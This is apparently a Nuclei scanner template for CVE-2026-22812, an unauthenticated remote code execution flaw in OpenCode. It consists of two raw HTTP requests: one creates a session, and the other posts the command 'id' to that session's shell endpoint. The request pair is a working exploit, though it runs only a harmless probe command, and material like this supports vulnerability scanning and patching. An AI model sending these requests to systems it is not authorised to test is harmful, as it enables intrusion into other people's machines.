
Nuclei template for detecting and exploiting unauthenticated remote code execution in OpenCode via crafted HTTP requests.
CVE-2026-22812 - OpenCode Unauthenticated RCE Nuclei template for scan.
POST /session HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Content-Type: application/json
Content-Length: 2
{}
POST /session/"id"/shell HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Content-Type: application/json
Content-Length: 44
{
"agent": "build",
"command": "id"
}